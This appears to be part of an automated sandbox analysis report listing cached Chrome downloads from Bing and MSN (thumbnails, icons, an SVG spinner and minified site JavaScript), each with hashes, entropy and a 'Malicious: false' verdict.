Chrome Cache Entry: 602

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5263
Entropy (8bit):	7.921719759334495
Encrypted:	false
SSDEEP:	96:8zgEipGg/vmrYIbmx1tEt/uiIsx08BHJxshG8BXPpJR65L6Am82o8jima:yg9kei/uBsRBHJxspBR/zPoRX
MD5:	2313C158992B830B3670618A4D832391
SHA1:	9E43E00516ACB30C1BA255E7A1030827ADC2B26C
SHA-256:	475D87DBF6B646501017FF38A02ECD7B80F990541674549AC043B6F40F7CCFD3
SHA-512:	FEA277A3F18E9210F82A98BEF35474A7E6EFEC43EC1D163ED87CFCEAE561F956C33ABD36ACDCBDED66EC840979B184FC8BE027F430D27DD009ABCB24982D601E
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_ZbC8ydfcUig3mQrO-SZNaA&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...OO.-..,..k.._/R....^..[.V...........<&....6....:u....v=[.z...h....E.[Id.._._+..^.M.f#a.nC..N(Z5`r1.].h.pe..7.>..q>UA$...5j..{....m..\G..Q'vZV;....R.....(5}...O{... ......G..N....EX...u.. wy.rO&...q..';.=c...`.Z..# ..<...2....\..5K{.b.J"h..O.".[./Q...v...^iF...".)r..&_4B.s..Fz..I....i....D.6..Bv...v....=.`.jw&.7..3.<V...4...xIeu.0.=....3..9%t2... ...3;

Chrome Cache Entry: 603

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450)
Category:	downloaded
Size (bytes):	246472
Entropy (8bit):	5.511115685618671
Encrypted:	false
SSDEEP:	3072:xjbsGbsSYlqSQk7cOwz/rHk1M9xohvhQfAs6j:NsGA0SQkCfSvhQl6j
MD5:	14442D6688704194AA3C62CD8929DBB4
SHA1:	5559700710AA8134E4A6A11A7C9DEC59B585B371
SHA-256:	28E45BC9F46AC5B4F2ACE7D517520663846E9FAD9D349E1356BB1C171A94EA7F
SHA-512:	EE73321FF3649A239CC8544D08CF2B7BF913357FFCF9A16682516EF08362402AFE2C105FBBB4E6980DD2411B3C944FAA39C47B9331F600CDB3D044170CF26248
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/vendors.c624fa68ab4696f464de.js
Preview:	/! For license information please see vendors.c624fa68ab4696f464de.js.LICENSE.txt /.(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},13010:function(t,e,n){"use strict";n.d(e,{u:function(){return h}});var r=n(4141),i=n(53723),o=n(84147),u=n(12205);class a extends i.i{constructor(t,e,n,i){super(t,n,u.h.BeginActivity,r.i.newGuid(),new Date,e),this.LogLevel=o.i.Activity,this.Ended=!1,this.correlationVector=i}}var s=n(10350),c=n(71930);class l extends i.i{constructor(t,e,n,i,a,s,c,l){super(t,l,u.h.BeginNetworkActivity,r.i.newGuid(),new Date,c),this.serviceName=e,this.LogLevel=o.i.Activity,this.Ended=!1,this.requestUri=n,this.requestHttpMethod=i,this.currentOperationName=a,this.correlationVector=s}}var f=n(52965);class h extends s.b{constructor(t,e){super(t),this.correlationVectorProvider=e}static getInstance(t,e){var n=t\|\|"Default",r=h.InstancesMap[n];if(r)re

Chrome Cache Entry: 604

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4021
Entropy (8bit):	7.876050896981863
Encrypted:	false
SSDEEP:	96:8zgEto8lel12id3xybhdSs9pr0LjDk38EskDl:yg5CeL3xytIsfADkpJ
MD5:	4664BB9D224801CF85C7C8F12BC4AFA7
SHA1:	D97A9B590A77AA484C81BA4DCBFEF492EEAB1EE9
SHA-256:	F3126317CD4E3789CE1D3A54C8414EEDBF2C16B8688138A33DCCBBC5AAC6A085
SHA-512:	BB0CCC2242BA9D4EDDFFF4599C872683F92C4AF4FD091E60FE260C29286257C073D46582F5FFD62DCC962697CA861E1539438EF66E2AF606B531F6683B5FBE17
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....eO.Q.Wm.K.l..V6.6...+m...NPv..E..^_.7o.O......h..}.._.X...........p ...b.).HR....i.T.).Qp+.{..........`....c..........h.i...}n..Z..m.MJ....ZH?.8..X.>...8.Y..C..'.....M}..`NA.r>!.V.?.....Dw....b2J...8..K.6..Z.6yIQ....H..Z..P..E..H..;...5..Z2..............{;.Wi..2............3..YZc).H.H.c.v..S....p..m...%.l...u_.?S.....Z..F.h......T.78.....].$\.@<..E..lb.

Chrome Cache Entry: 605

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2683), with no line terminators
Category:	downloaded
Size (bytes):	2683
Entropy (8bit):	5.285209446790883
Encrypted:	false
SSDEEP:	48:5sksi0wg1S0h195DlYt/5ZS/wAtKciZIgDa4V8ahff/Z/92zBDZDNJC0x0M:yk1g1zbed3SBkdZ9ZGVFNJCRM
MD5:	FB797698EF041DD693AEE90FB9C13C7E
SHA1:	394194F8DD058927314D41E065961B476084F724
SHA-256:	795E9290718EB62A1FB00646DC738F6A6B715B1171DD54A3D2DEFA013A74F3DA
SHA-512:	E03C4AB727567BE95B349B971E29CFFB3890CFB1A1DDF997B34B9D69154294A00A5112F4FFCA4DF4E26BBF96AFA75E5943E965EDC8F8E21035ED2EF30B7688D8
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/OUGU-N0FiScxTUHgZZYbR2CE9yQ.js
Preview:	var IPv6Tests;(function(n){function c(t){var r,c,o,l,f,s,i,a,v;try{if(y(),t==null\|\|t.length==0)return;if(r=sj_cook.get(n.ipv6testcookie,n.ipv6testcrumb),r!=null&&r=="1"&&!u)return;if(c=sj_cook.get(n.ipv6testcookie,n.iptypecrumb),r!=null&&c&&u&&(o=Number(r),l=(new Date).getTime(),!window.isNaN(o)&&o>l))return;if(f=_d.getElementsByTagName("head")[0],!f)return;if(s="ipV6TestScript"+t,i=sj_ce("script",s),i.type="text/javascript",i.async=!0,i.onerror=function(){Log.Log("ipv6test","IPv6Test Dom_ "+t,"IPv6TestError",!1,"Error","JSONP call resulted in error.")},a=_ge(s),a&&f)return;f.insertBefore(i,f.firstChild);i.setAttribute("src",_w.location.protocol+"//"+t+".bing.com/ipv6test/test");e&&p();v=u?(new Date).getTime()+h:"1";sj_cook.set(n.ipv6testcookie,n.ipv6testcrumb,v.toString(),!1)}catch(w){Log.Log("ipv6test","Dom_ "+t,"IPv6TestError",!1,"Error","Failed to make JSONP call. Exception - "+w.message)}}function l(t){if(!t){Log.Log("ipv6test","IPv6TestResponseError","IPv6TestError",!1,"Error","G

Chrome Cache Entry: 606

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	18810
Entropy (8bit):	7.961037807071389
Encrypted:	false
SSDEEP:	384:ePY2ff98RlyCLQCBekhZs2AZsuERp6chkEdp6Y+UvJ2vVhZGtz4jtU:eQ2H9EyCf7oEP6+kEdpaOJ4v2
MD5:	631EC803EE920E7986076DE40DC34E7B
SHA1:	9A44A5E822E59F6E9EC7A8959CAC7CE0F6DFE05D
SHA-256:	514862730A91E423FC3D735E75A59667E2BD65F73D96720B5DA018A9AED7C348
SHA-512:	EDD083C8BD4D61E63868347E95BF84C4059762A2518D9D1219D41D8940EAC21B6163E7ED6A453438C8BED6998579EDE67A9FA28E406B2708343EA06C66E1846F
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.ff6f71da06016efc29d9580df289bcd1&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...~....mv..$m...j....C.........MkI...YZ.....u.;Z..f.......s_?R....+.eJ.iI8....{./1...n....`.k.w..\..3E...5.1$.R. ..#..V.\|S2E....+...,.+}6..M3.8.;3.l..#..../_.]7..........E...1...p.....?.A..J=OP..!.!v.=.5.........5......+..D.l......v...d.......4.....D.~+l.?.....j.eh.a.H.t. .G.....J...3C...=.z=...../%mZ. ..&.=...J.Lp.gu1.H..{.s....E.\m.T..9u........v&{.....M.

Chrome Cache Entry: 607

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	4.850212085607601
Encrypted:	false
SSDEEP:	24:3lgevYweeb+FNzH4/p6lF9pQw5tygfWrn:7v6eb+FChODp95Rf
MD5:	B968C717DEA559A124AA195198EDB1E0
SHA1:	015D4497E1696AF053529D456820F06BC595A200
SHA-256:	AFCC983BF9D600A691EEC04E43AE1F17508AF3DBF0702E36D51555F8023A37B1
SHA-512:	FD43A7A416F1522C1669CF4D895DF2A1D5D38FD2407454119D9272B09AC22C625B229AB64685395CEF0CAAB960083FF8D38A705D91844BA83D1A20039487C62C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...kHSa...g....m^6..9.6..6).etA.".(H....I.$X..](,..K.B./.....@..4.L1..tk..tMwi.w......y...<....C.....x.W...Y..7.....9.........y..1..}..E.l.oKk..s..T.k...-.\|..v....RZ.-....y.=.f>\|..}..)V....:...R........+w.2...[3u.....os....l...H.+...j.Lk.Rk..}8\..OGy...^..Ek}..:^2..............]..X(....U.hpI.h.J.L`.0.O.wB.B...$.{..:..2...m.T..J..............q.0./5b:$.....\yR.(5..8...$..-.n...X&....5. ....}......)G...7F.......'. .nHs.!0..T...:,...ik..;......'..3=..j.9B...^..v.@J.\..x. X..$B.t...4;.V..&.`.5C"..G...+...[G..M..)8.\`Xf.....)e...........~....Y../.K4+...F.....:}....{A...F.a.<...qO..rB".8..f.....>......f.l....nS...O..N[....9.8lc.4.(.....Pji?@y.D.....hc...)5....r..L..(m...2.J.%~...-..d>....]p................IEND.B`................................................................................................................................................................................

Chrome Cache Entry: 608

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	65695
Entropy (8bit):	5.338555160525568
Encrypted:	false
SSDEEP:	1536:2WX+44C7Rfw+jhwQbkZShPhJhZtFh4lh26hQhyhjh4hYh7hXhchKhdh5h3yhLegm:2WXfRYwiMFn/M56kNiKZ9yAXDQ5RA
MD5:	959D30CA671FDDC64861350627028996
SHA1:	9F561A8A3AE81D6EF1875DDD2C76F92AAB71796E
SHA-256:	B0E27744BCB752178BAC1B377390CBBD069D4156A7E30035297486AB17476C3C
SHA-512:	D35855FA7B997D70AAFE6578015398C75FDEDC3A1BCE06B2A32B6E4E1D40BA797F4459CED1BF4A7070C05BB93B29B922F18BECB87ADA1C7880AA6F6637ED71FB
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-card-connector.904bcb1c2a08e1d38080.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-card-connector"],{42854:function(t,e,i){"use strict";i.r(e),i.d(e,{ContentDataDisplayTypes:function(){return k.jF},ContentDataRenderPlaces:function(){return k.aj},LocalizeLocationService:function(){return At.m},LocationDetectionSetting:function(){return S},LocationUtils:function(){return C},OperationFailure:function(){return k.Uh},SettingUpdateStatus:function(){return k.SU},SkyConditionCarouselBackgroundUtility:function(){return U},SkyConditionIconUtility:function(){return Jt},SkyConditionSvgIconUtility:function(){return kt.qz},StringUtils:function(){return F},ToolingInfo:function(){return oe},WeatherConditionKey:function(){return k.tk},WeatherDataActions:function(){return D},WeatherDataConnector:function(){return Nt},WeatherDataReducer:function(){return jt},WeatherDataVariant:function(){return Yt},WeatherMonthlyForecastBackgroundUtil:function(){return n},WeatherPdpClient:funct

Chrome Cache Entry: 609

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 58 x 59, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5339
Entropy (8bit):	7.952386577766305
Encrypted:	false
SSDEEP:	96:M23YP+n5adWK8bvMEYxbGb+2htMaLTje1aHQZ0Q8wnP5OCRf2FJ0sT:MzP+5ofUkt+hBL2Yw2rwnhFgqI
MD5:	C49766495653BB160FE23C0303734B7B
SHA1:	0FE8447570BB1BE0E0BD5FED00AE01A1D599EE7A
SHA-256:	BC9DD5F6FB6506EAEDCC886C79B6C72BE115A72664C9EAA2B0F89CC04D63481E
SHA-512:	7E41B4163905A6C7578F0F0AC50542FE378C1F7B919A9DDEFA04BFAB13A612B9F1BC3229684C290087AC4E4F14511968FB4F1BE770EF9987114C98144CB6FC87
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/D-hEdXC7G-DgvV_tAK4BodWZ7no.png
Preview:	.PNG........IHDR...:...;..........IDATx..[y...u..3...^..j%D.....Y..#.!8....WH.`.e....@.)J..b...@...&&.6.c..K...b% .\...VZ.......^_.Z....j.\|=.=....=....0.-..>...f..]p......X../]...kj...!.5..8$(.A.E..e.....q.)..&Mj.3gN....i....f...??..xz....G............U.8..m..u..[a...\|n!c...2'...p`.,....X..8..Wj..R{.....c..N....}......=7.tS....(@..".k...Komo?o.../,..?......?.&....(..Z..D...3x-.pCT...../o.......U[<..1cL..<>0P.N._.P.2.7o.:..}......Z...7#6h......b.ag............R....p]...cxm_.^.T...@.....X{..F..P.?4..........c....f.....r.W..Hn.4.w..,.o.R.S.#.B.K..{.k...~.V./..A.L..F.n.<..I.Q....{.@.....%/.J....p<.x...._.#.s'.p.Y...........f.JdL.7.]..Do)........`....[......Bdv........>..?........>o..jy.q98.....H}.\|.."..H.RS..K..H\.t....J....=W.<..'.,YRCz..:....AR.....u.l....zm.1..1..zZ..9.G8....Z\|..Q!t?3..+I3..6R..5.......S........y.j+W.<*....I.......v.b.....pUg.VL.A...4P...n........}.....DBq.)...).KN.JW-...N.........-.....tS......._..-.F(I.y...E..

Chrome Cache Entry: 610

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4879
Entropy (8bit):	7.909046630105761
Encrypted:	false
SSDEEP:	96:8zgE9tCle2bO6k8Xwm9bwmmVNiTgZ3qwYizBWxYajUXM3gN+u7fa:yg4MMQO6TXP9bwmmecZXNQV1gNHO
MD5:	4E6090E720A5FEBEAC0CC4AD6A126A97
SHA1:	65161513DDF0EB78EA0E7A8E27C42877C6A1C742
SHA-256:	2E21A2AE45558E20407B16EED9A72FC40139C23C2F96206212757BAE521185DC
SHA-512:	F109B90FC99DC8C9A1384A7F258D1F77B4BF8217F140838614689835BB6DAD54BEBC8F70DACFD8D37143CCA5AFB81F2E8CAAFE9A4E7DF8199753EAC5AB34F1CB
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_Fa9yPuPY5gIsMCqDuN-GNg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.../.7.F.\|C0.mO",..q..D.........t..-I...)..s....y}...c3..>...Ym.EtI.U.oEC.G..^..`qs.o].M&.R.F.m....i.hy"..F..s.C#...O_I.<Y.Kz.r.m6...4L.......qY.[<....?.....7..nI....=.......kbe]F.(.;%..g\|...^..'.......k....\.'..@?\.(-..lZ..E.k.s...>..x.R..9.}...vb...7j...s...tj.l!<..]..l.?(,9...OLVG..........,7..p3....l.e.lv...J0.....w"..<.\.;z.5h$h......=:.>\v.O\|.

Chrome Cache Entry: 611

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	4.643250633952913
Encrypted:	false
SSDEEP:	12:6v/7AmpUGGcLEHXSTA1udJqRcUunD8WvMI5ho7EQNU11kE:zme8uXbgJq+70I/o7Ep
MD5:	3F678119F72F6FA7F86885AE77424D87
SHA1:	E3F1B2B4495AE9C1A7B3D1CD3A97403976A76C17
SHA-256:	B1C4978024E63DF37CF1C6D5EE9D135CB9A4C5522E50C1D1C992494159926F7E
SHA-512:	949B7A9525A806F338B0C2BC6FD59B576DAE899133F6BD1F73203E415E8E6E8DBCB129B49B3B4DC5283DD3CB425BC158644329AC895CDA4F9A6B49EB01CBDF42
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..S...q.~......OPdP.... .e...`P2.+)..&...D!.`1JR...t~vw>...ru.......>..........,...p2..."..b...xn.._.H$....K\|...f.H$..jQ....0.N.v...p8@.R..r!..C.... ..c>...Z-..~.....l.X0..i.z.F&...L&......j.b.X$./.F...N....&...&..+@.^..xD$.A.P@...r..c.$...Z.p:.H'.Px.(..$L ..f.A.B...j..L&.\,.....B.P\|.p..~.6...j...R....L...T..n...._..5........&...8.^...lF..v.p8LN....T*...N'..(.9.."...3.f...1..?.W[.._...4B...J%\|>...?.Yd.....h..7co//.......w..g......?.,.;......L.....IEND.B`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 612

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (426), with no line terminators
Category:	downloaded
Size (bytes):	426
Entropy (8bit):	4.904019517984965
Encrypted:	false
SSDEEP:	12:2gcmRRt9Y4LF1Zd4XV4LFUXCdg/qUWYzP++xAQI:2gcmRRFfgiUb6MAj
MD5:	857A0DE0BBF14F3427A1AFA5CD985BCE
SHA1:	0C1D2E767F07E5C0F14EA64980DB213D379CC6F7
SHA-256:	3ED65F33193430C0B9DB61FFE7F5FE27B29F86A28563992C3AFC47D4C22C23D7
SHA-512:	E7F2603855A16464417B772517676F080CCEFFB8069C687BAC798B7EB2875FCDC207E40E8C56E7CFFD4D56CED572270988599D1D2B73FB8AAA7FDD076FE3E7B7
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/DB0udn8H5cDxTqZJgNshPTecxvc.js
Preview:	(function(n){function i(){var i=document.documentElement,r=document.body,u="innerWidth"in window?window.innerWidth:i.clientWidth,f="innerHeight"in window?window.innerHeight:i.clientHeight,e=window.pageXOffset\|\|i.scrollLeft,o=window.pageYOffset\|\|i.scrollTop,s=document.visibilityState\|\|"default";n.enqueue(t,{x:e,y:o,w:u,h:f,dw:r.clientWidth,dh:r.clientHeight,v:s})}var t="V";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

Chrome Cache Entry: 613

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	15964
Entropy (8bit):	7.962267058386319
Encrypted:	false
SSDEEP:	384:e2Z9LJZTmQ4siBIT+nqPGYqRLxVRP7C87M7zZN:e2ZhTmQhT+nGGYqfDqzj
MD5:	FC0BD48E8944C0358E4AAA8E7F4F533B
SHA1:	B0978F3CFDE04DDF58001EB3B649A0651FCEC31D
SHA-256:	B5220A40A89EDA23C895FABD8543E3C47DE2F7170DF95E709A29224441E34923
SHA-512:	011980841DA59799C02853CB8C85406B26339D6F186407A82D0445BFC3D5B2B4BC2BB31E2D3638A7311EE269C6B165A833142088A5116BF8E68608A0407818AE
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.14f556f030ee32617c24d569932af891&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..~..V...YzU.&.7U..M..(.{zW..1\|.O..an..I..2v....>mzW.@1....eK..q.;.W=,.kvuO.{hd..L-..5..:9.).N../.?..=1Lk..=+........TQ.E...t..WI*..5../....i.F.Q^]<sr:.QV<c_.+.+..!..^...7\|..k..do.W.e..k.;..k......n..cUk....#.jw.HO..m8R~T..hr...?.c.}.Z..('.....7^..WD.u+...nf.NR....yG...=x....j.S.:..Y...\| ...>L...\|..1.1...'..#.#9.w<.pb,....Mo.O....70..,?.9......d.[.-{[.#

Chrome Cache Entry: 614

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24161)
Category:	downloaded
Size (bytes):	210559
Entropy (8bit):	5.345941373912795
Encrypted:	false
SSDEEP:	6144:114W9Z6fgRYCxp0dcf1K5Rzb8qvxCbhL/:oW9Z64RFxp0dcf1Ka
MD5:	71A2F8988438EC608744C97E04BD5BFF
SHA1:	22428474D905216EFCCD5EBAFDE459EDF101616D
SHA-256:	8AB3F8361BD91BAED007F4648BEDE8A24C4738768A67AF2E5B661119493A1987
SHA-512:	AE81D383332002D6819AB930EB08A92280234844A55D62BDE3483E38848029E858C75910C62CC627FD243ABFD63CC55F2F0631549CA8CCB9316DCC362FB44E55
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/traffic-card-wc.43495e1e08e030161787.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["traffic-card-wc"],{19456:function(t,e){"use strict";e.Z='<svg width="14" height="15" viewBox="0 0 14 15"><path d="M11.77.75c.31 0 .6.06.87.18A2.2 2.2 0 0 1 14 2.98a2.2 2.2 0 0 1-.66 1.57L4.2 13.7 0 14.76l1.05-4.21 9.14-9.13a2.19 2.19 0 0 1 .73-.49c.27-.11.55-.17.85-.17Zm-9.75 9.88a2.78 2.78 0 0 1 1.32.78 2.76 2.76 0 0 1 .78 1.32l7.6-7.6-2.1-2.1-7.6 7.6Zm-.99 3.09 2.4-.6a2.09 2.09 0 0 0-.22-.64 2.04 2.04 0 0 0-.4-.54 2.04 2.04 0 0 0-.54-.4 2.09 2.09 0 0 0-.64-.23l-.6 2.4Zm11.22-9.13.37-.35a2.93 2.93 0 0 0 .32-.36c.1-.12.17-.26.22-.4a1.36 1.36 0 0 0 .09-.5 1.5 1.5 0 0 0-.9-1.36 1.4 1.4 0 0 0-.58-.12 1.36 1.36 0 0 0-.5.09 1.73 1.73 0 0 0-.4.22 3.06 3.06 0 0 0-.36.32l-.35.37 2.09 2.1Z"/></svg>'},94522:function(t,e){"use strict";e.Z='<svg width="12" height="12" viewBox="0 0 2048 2048" role="presentation"><path d="M2014 853q0 58-32 106t-86 70l-535 223q-13 5-23 15t-14 25l-175 582q-6 20-22 33t

Chrome Cache Entry: 615

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	18717
Entropy (8bit):	7.960724049515695
Encrypted:	false
SSDEEP:	384:eieWYlLSlSAUDP+bzHzvKnZ8ESS8qRU4Of7fVuMiHThX/YJO2xF19:exlLSkWzenxSqLOfsTTR/YJn9
MD5:	72959CA2F2776B3841F15CF3C3BFBA72
SHA1:	652EAF3CEF39063C2731315D5016C1619C073C2E
SHA-256:	B8B5388CA8D8909F9F3E1F11DC481B554F2C136692637F122339BCB78EDBFF64
SHA-512:	62D9F4230718CCC4F6A453659A989434D758B8B8AFF8574AF9D4A029D3D379A6ECDF396CA5670D0B3371A08A34266396D97E2AA28470FC760CBCFA54C2753214
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.78cd0f9fe9718715e11a776e1e6abfd1&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...sz...'5.B.4...iFh.]..9..i3HB.4..)3Fh.\:r)..=i..:....x./..<...9..(.o>..$b..E2......+k..FO.Z.r.;0......]O.X...[........{......?.5'?.9...@_.X..mZ..Z........bj..C..5..n.....Pd..HX./..zS.(.}.K.!r..\...C.U.Z1..Fz.Wa{0.Ul.PqY.Tk.-..e..pS..T.....22..]E..H.."........L....4..+.wp.).0}...u5..h.7q.n..s..'.m._..A.I....."}...su.2Fj./<+s..#.W.8...s....).d..OQ.U..r..NVoZ.

Chrome Cache Entry: 616

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/kiGH9ukZK6Q4hvtDtwwVc1yvueg.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

Chrome Cache Entry: 617

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	downloaded
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/QtZcquNOunoFE0KySXJmXmH6auI.js
